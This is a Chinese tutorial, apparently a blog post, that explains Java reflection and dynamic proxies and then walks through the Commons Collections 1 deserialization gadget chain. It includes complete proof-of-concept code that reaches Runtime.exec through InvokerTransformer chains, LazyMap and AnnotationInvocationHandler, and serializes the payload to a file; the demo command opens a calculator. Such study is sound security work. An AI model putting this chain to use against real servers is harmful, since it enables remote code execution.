CommonCollection1反序列化链学习

Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475

CommonsCollection1

1、前置知识

1.1、反射基础知识

1.1.1、 对象与类的基础知识
类(class),对象(object)
对象是类的实例化,中华田园犬(object)是狗(class)的实例化
类是对象的抽象化,狗(class)是中华田园犬(object)抽象化
1.1.2、反射获取对象过程

1、我们可以通过以下三种方法获取Class对象类型

Class classType = String.class;
Class classType = new String().getClass();/*new String()是一个对象*/
Class classType = Class.forName("java.lang.String");

2、在Class类中包含着很多方法函数,其中在本章节使用最频繁的就是

getName():获得类的完整名字。 
getFields():获得类的public类型的属性。getDeclaredFields():获得类的所有属性。getMethods():获得类的public类型的方法。getDeclaredMethods():获得类的所有方法。getMethod(String name, Class[] parameterTypes):获得类的特定方法,name参数指定方法的名字,parameterTypes参数指定方法的参数类型。getConstrutors():获得类的public类型的构造方法。getConstrutor(Class[] parameterTypes):获得类的特定构造方法,parameterTypes参数指定构造方法的参数类型。newInstance():通过类的不带参数的构造方法创建这个类的一个对象。

2、通过默认构造方法创建一个新的对象,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)

Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});

3、获得对象的所有属性,即通过Class类的getDeclaredFields()方法返回类的所有属性,包括public、protected、default和private访问级别的属性

Field fields[]=classType.getDeclaredFields();

4、获得每个属性相应的get/set方法,然后执行这些方法,把原来的对象属性拷贝到新的对象中。

这里我们可以写一个InvokeTester的类,然后运用反射机制调用一个InvokeTester对象的add()方法(自定义方法),如add()方法的两个参数为int类型,那么获取表示add()方法的Method对象代码如下:

Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

5、反射调用addMethod方法

//获得和属性对应的getXXX()方法
Method getMethod=classType.getMethod(getMethodName,new Class[]{});
//获得和属性对应的setXXX()方法
Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
//具体实施(第四点描述)
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});//调用原对象的getXXX()方法
Object value=getMethod.invoke(object,new Object[]{});
System.out.println(fieldName+":"+value);
//调用拷贝对象的setXXX()方法
setMethod.invoke(objectCopy,new Object[]{value});
addMethod.invoke()

6、具体一个小例子

首先有个Users类,他有属性名字(name)、年龄(age)和会算加法()

public class Users {String name;int age;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public int add(int num1, int num2){int addnum= num1+num2;return addnum;}}

那么我们反射获取他的某一个user对象的名字、年龄和加法

第一反射获取多参数的方法add

import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception {//反射获取类对象类型,这里获取的是Users类对象类型Class users = Class.forName("Users");//类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);}
}

反射调用单参数的方法setName和无参数方法getName

import java.lang.reflect.Method;public class Test {public static void main(String[] args) throws Exception {
/*//反射获取类对象类型,这里获取的是Users类对象类型Class users = Class.forName("Users");//类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型Method add = users.getMethod("add", new Class[]{int.class, int.class});//add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象Object num = add.invoke(user, new Object[]{1, 2});System.out.println((Integer) num);*/Class users = Class.forName("Users");Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});//反射获取Users类的setName()方法 ,需要传入setName的所需的参数类型,此处为String.class类型Method setName = users.getMethod("setName", new Class[]{String.class});//反射设置zhangsan对象实例的名字为张三setName.invoke(zhangsan,new Object[]{"张三"});//反射获取Users类的getName()方法,需要传入getName的参数类型,此处为空Method getName = users.getMethod("getName", new Class[]{});//反射获取zhangsan对象实例的名字Object Name = getName.invoke(zhangsan);System.out.println((String) Name);}
}
1.1.3、反射的基本用法

反射又有很多琐碎的点,这里只讲它的基本用法如果当前拥有一个对象的话,那么可以动态的调用该对象的所有方法

// Step1 获取Class对象
Class cls = obj.getClass();
// Step2 获取想要的方法对象
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});    
// Step3 调用方法
mth.invoke(obj,new Object[]{arg1,arg2})

这里注意的是getMethod的第二个参数为Class数组,Class的概念我们之前也提到过。

1.2、动态代理知识

动态代理需要理解反射包的三个类

反射包 java.lang.reflect 的三个类:InvocationHandler,Method,Proxy

InvocationHandler

这个类其实就一个方法就是invoke方法,该方法用代理商在不改变代理对象的情况,需要添加的功能

参数:

Object proxy:jdk的代理类,无需赋值

Method method:代理对象的方法,jdk提供的Method的对象

Object[] args:代理对象的方法执行的参数

package java.lang.reflect;public interface InvocationHandler {public Object invoke(Object proxy, Method method, Object[] args)throws Throwable;
}

Method

Method方法主要在InvocationHandler的invoke方法中实现,表示执行代理对象的方法

Method.invoke(目标的对象,方法的参数)

image-20220326234845996

Proxy

newProxyInstance的方法的三个参数为

ClassLoader loader:类加载器,负责向内存中加载对象的。使用反射获取的

Class [] interfaces :目标对象实现的接口,也是反射获取的

InvocationHandler h:我们自己写的,代理需要完成的功能

image-20220326235224217

举个具体里的例子(Usb)

首先实现一个统一的买usb的接口,里面有一个卖usb的方法

public interface Usbsell {float sell(int acount);
}

金士顿厂家要卖usb,所以继承这个接口,他买85元

package com.akkacloud.factory;import com.akkacloud.service.Usbsell;public class UsbKingFactor implements Usbsell {@Overridepublic float sell(int acount) {return 85.0f;}
}

我们是一个商店,去买我们要赚差价

第一种写法,直接在主函数中创建我们的InvocationHandler接口

package com.akkacloud;import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//创建代理对象,使用proxy//创建目标类对象,就是厂家UsbKingFactor usbKingFactor = new UsbKingFactor();//创建代理对象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object res = method.invoke(usbKingFactor, args);res= (float)res+35;return res;}});//通过代理对象执行sellfloat price = proxy.sell(1);System.out.println("通过代理的价格:"+price);}
}

第二种我们先实现InvocationHandler接口,再写主函数

首先我们要实现我们的InvocationHandler接口,我们实施加价25块

package com.akkacloud.handler;import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;public class MysellHandler implements InvocationHandler{private Object target;public MysellHandler(Object target) {this.target = target;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {//想厂家订购1个商品
// float price = factory.sell(1);Object res = method.invoke(target, args);//中间商赚差价//price = price+25;if(res!=null){float price = (float) res;price=price+25;res =price;}return res;}
}

然后实现我们的商店代码

package com.akkacloud;import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;import java.lang.reflect.Proxy;public class MainShop {public static void main(String[] args) {//创建代理对象,使用proxy//创建目标类对象,就是厂家UsbKingFactor usbKingFactor = new UsbKingFactor();//创建invocationHandler对象,传入代理商的厂家为usbkingMysellHandler mysellHandler = new MysellHandler(usbKingFactor);//创建代理对象Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),usbKingFactor.getClass().getInterfaces(),mysellHandler);//通过代理对象执行sellfloat price = proxy.sell(1);System.out.println("通过代理的价格:"+price);}
}

执行结果

image-20220327000727503

1.3、调试所需类相关的知识和作用

Transformer

transformer的是Commons Collections包中提供的一个接口

package org.apache.commons.collections;public interface Transformer {Object transform(Object var1);
}
ConstantTransformer

ConstantTransformer是Transformer的实现类

构造方法中实现对iConstant赋值,transform方法用于获取iConstant的值

public class ConstantTransformer implements Transformer, Serializable {static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL\_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}
InvokerTransformer

InvokerTransformer也是Transform的实现类

构造方法里传入Strin iMethodName(字符串类型的函数名)、Class[] iParamTypes(函数的参数类型))、Object[] iArgs(函数的参数列表)

transform方法是用Java反射机制来进行执行任意代码


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;
}public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}
}
ChainedTransformer

ChainedTransformer也是Transformer的实现类

构造方法是把数组类型的Transformer[] 赋值给iTransformers

transform方法是通过传入Trasnformer[]数组既iTransformers,对传入的数组进行遍历并且调用数组对象的transform方法。

image-20220321152258602

Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则

TransformedMap

Transformer的实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

通过decorate方法去调用构造方法,把map、keyTransformer、valueTransformer传入,当调用put的方法修改key或者value时,就会调用transform()

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer的transform()方法

//构造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}
......
//改变key时、调用transform
protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
......
//改变value是,调用transform
protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
.....//put方法用来修改 
public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);
}
LazyMap

lazyMap也是Map的实现类

//构造方法
public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);
}//对传入的map和Transformer实例化
protected LazyMap(Map map, Factory factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = FactoryTransformer.getInstance(factory);}
}
//调用get时,当key不存在时,调用Transformer实现类的transform()方法
public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}
}

当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

2、漏洞复现

由于前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发漏洞Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式onlyElement.setValue("foobar");}
}

image-20220322134056332

3、漏洞分析

transformers

先分析第一段

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

首先new一个Transformer数组

Transformer[] transformers = new Transformer[] {}

然后通过ChainedTransformer类的transform()方法,循环获取反射获取指定的命令执行函数函数

public ChainedTransformer(Transformer[] transformers) {this.iTransformers = transformers;
}public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;
}

首先看第一个类ConstantTransformer运行transform()方法后,返回的是Runtime.Class

image-20220322134958090

我们通过查看ConstantTransformer方法可知,Runtime.Class传入后通过构造方法赋值给iConstant,然后return这个iConstant赋值给object

public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;
}public Object transform(Object input) {return this.iConstant;
}

我们看第二类InvokerTransformer,其实这个类翻译过来就是反射转换,把Runtime.Class作为参数值传给InvokerTransformer的transform方法,就是下面的式子

object=InvokerTransformer.transform(Runtime.Class)

然后我们进入到InvokerTransformer.transform()方法查看,确实传入的是Runtime().Class,

image-20220322140036214

首先我们来继续看InvokerTransformer的构造方法,第一个参数的意思是函数名,第二个参数的意思是参数类型,第三个是参数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {this.iMethodName = methodName;this.iParamTypes = paramTypes;this.iArgs = args;
}

再看InvokerTransformer的transform方法,其实就是反射调用构造方法中赋值的函数

public Object transform(Object input) {if (input == null) {return null;} else {try {Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs);} catch (NoSuchMethodException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var7) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);}}}

我们回到我们刚才调试的点,这三个参数分别是如下,函数名是getMethod,

image-20220322140901931

getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射调用后就是Runtime.getRuntime(),继续传入object

image-20220322141954997

第三次传入的是object是Runtime.getRuntime(),函数名是invoke,参数值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由于Runtime是单例模式,需要执行他的getRuntime方法来获取Runtime类的实例化对象,所以这里用Invoke反射执行了getRuntime所以就获得了Runtime的实例对象

image-20220322142408556

第四次传入的object是Runtime的实例化对象,函数名是exec(),参数是"open /System/Application/Calculator.app",就是执行了Runtime.getRuntime().exec().

image-20220322143144504

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");

上面那么多其实最简单的方法是自己先写一遍反射执行Runtime的Rce,如:

Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod获取getRuntime方法,参数为空
Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射执行getRuntime方法获取Runtime实例,invoke方法需要两个参数,执行的对象和执行的的参数,因为getRuntime为static方法,反射调用时执行的对象直接传null就行。Method exec = runtimeClass.getMethod("exec", String.class);//反射获取Runtime的exec方法
exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射执行

然后我们再通过ConstantTransformer和InvokerTransformer的transform方法的规则实现一下就很好理解了

Object runtime= new ConstantTransformer(Runtime.class).transform(null);
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

可以看出都是调用transform方法,且输入的参数为上一个参数的结果

加入ConstantTransformer去循环调用transform

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

image-20220331180542171

第一段ChainedTransformer就是为了执行这段命令,但是我们想在需要去ChainedTransformer.transform方法

TransformedMap类

前置知识我们说过,通过调用TransformedMap.decorate(),再调用TransformedMap的构造方法赋值参数,参数分别是Map、更换的key值、更换的value值,我们通过put方法调用transformKey、transformValue方法来更换Map的key和value,而这时候最重要的是transformValue、transformKey方法调用了transform方法,也就是说我们把ChainedTransformer传给decorate方法的valueTransformer,当调用put方法时就可以调用ChainedTransformer的transform方法了。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}protected Object transformValue(Object object) {return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {key = this.transformKey(key);value = this.transformValue(value);return this.getMap().put(key, value);
}

漏洞利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("1","1");// //触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
// onlyElement.setValue("foobar");}
}

image-20220322145808235

在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱,下篇文章重新来完整的调试一下。

LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {private static final long serialVersionUID = 7990956402564206740L;protected final Transformer factory;public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}protected LazyMap(Map map, Transformer factory) {super(map);if (factory == null) {throw new IllegalArgumentException("Factory must not be null");} else {this.factory = factory;}}public Object get(Object key) {if (!super.map.containsKey(key)) {Object value = this.factory.transform(key);super.map.put(key, value);return value;} else {return super.map.get(key);}}
}

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class CommonCollection1 {public static void main(String[] args) {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//创建Map并绑定transformerChinaMap innerMap = new HashMap();innerMap.put("value", "value");//给予map数据转化链Map tmpmap = LazyMap.decorate(innerMap, transformerChain);tmpmap.get("1");}
}

AnnotationInvocationHandler

AnnotationInvocationHandler该类是用来处理注解的。

查看AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数

Annotation类类型参数传给var1map类型传给类var1==》TransformedMap.decorate(innerMap,transformerChain)

AnnotationInvocationHandler(Class <span class="hljs-keyword"extends Annotation> var1, Map var2) {Class[] var3 = var1.getInterfaces();if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {this.type = var1;this.memberValues = var2;} else {throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}
}

利用链主要用到了AnnotationInvocationHandler的invoke方法和readObject方法

invoke方法主要为三个参数(对象类型,方法类型,对象数组)

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);} else if (var5.length != 0) {throw new AssertionError("Too many parameters for an annotation method");} else {byte var7 = -1;switch(var4.hashCode()) {case -1776922004:if (var4.equals("toString")) {var7 = 0;}break;case 147696667:if (var4.equals("hashCode")) {var7 = 1;}break;case 1444986633:if (var4.equals("annotationType")) {var7 = 2;}}switch(var7) {case 0:return this.toStringImpl();case 1:return this.hashCodeImpl();case 2:return this.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {throw new IncompleteAnnotationException(this.type, var4);} else if (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException();} else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) {var6 = this.cloneArray(var6);}return var6;}}}
}

重要式子

memberValues就是构造函数赋值的,存储这我们的恶意的map

Object var6 = this.memberValues.get(var4)

就是AnnotationInvocationHandler调用invoke方法,调用Lazymap的get方法,调用transform方法

readObject方法

我们看到第四行

Map var4 = (Map)var2.get("memberValues", (Object)null)

memberValues.的值赋值给var4

var4调用了entrySet().iterator()方法

var4.entrySet().iterator()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {GetField var2 = var1.readFields();Class var3 = (Class)var2.get("type", (Object)null);Map var4 = (Map)var2.get("memberValues", (Object)null);AnnotationType var5 = null;try {var5 = AnnotationType.getInstance(var3);} catch (IllegalArgumentException var13) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var6 = var5.memberTypes();LinkedHashMap var7 = new LinkedHashMap();String var10;Object var11;for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {Entry var9 = (Entry)var8.next();var10 = (String)var9.getKey();var11 = null;Class var12 = (Class)var6.get(var10);if (var12 != null) {var11 = var9.getValue();if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));}}}AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonCollection1 {public static void main(String[] args) throws Exception {//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})};//循环反射调用InvokerTransformer.transform()方法执行RceTransformer transformerChain = new ChainedTransformer(transformers);//通过LazyMap的get方法调用ChainedTransformer.transform()方法Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);//反射创建AnnotationInvocationHandler方法,把恶意的LazyMap赋值给InvocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));oos.writeObject(handler);}}
}

我们先来看第一段

反射创建AnnotationInvocationHandler类,实例化对象时把Retention.class、 outerMap传给InvocationHandler接口,因为AnnotationInvocationHandler实现了InvocationHandler方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

第二段动态代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
  • 第一个参数:People.getClass().getClassLoader(),使用handler对象的
    classloader对象来加载我们的代理对象
  • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
  • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

那么在这段poc的执行中执行反序列化的时候,服务器读取了我们的恶意序列化文件,把他反序列化,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap。

因为proxyMap是我们的代理对象,所以调用proxyMap的entrySet()会触发到AnnotationInvocationHandler的invoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次
执行AnnotationInvocationHandler的invoke()方法后又会调用get方法,再次回到刚刚的地方了。
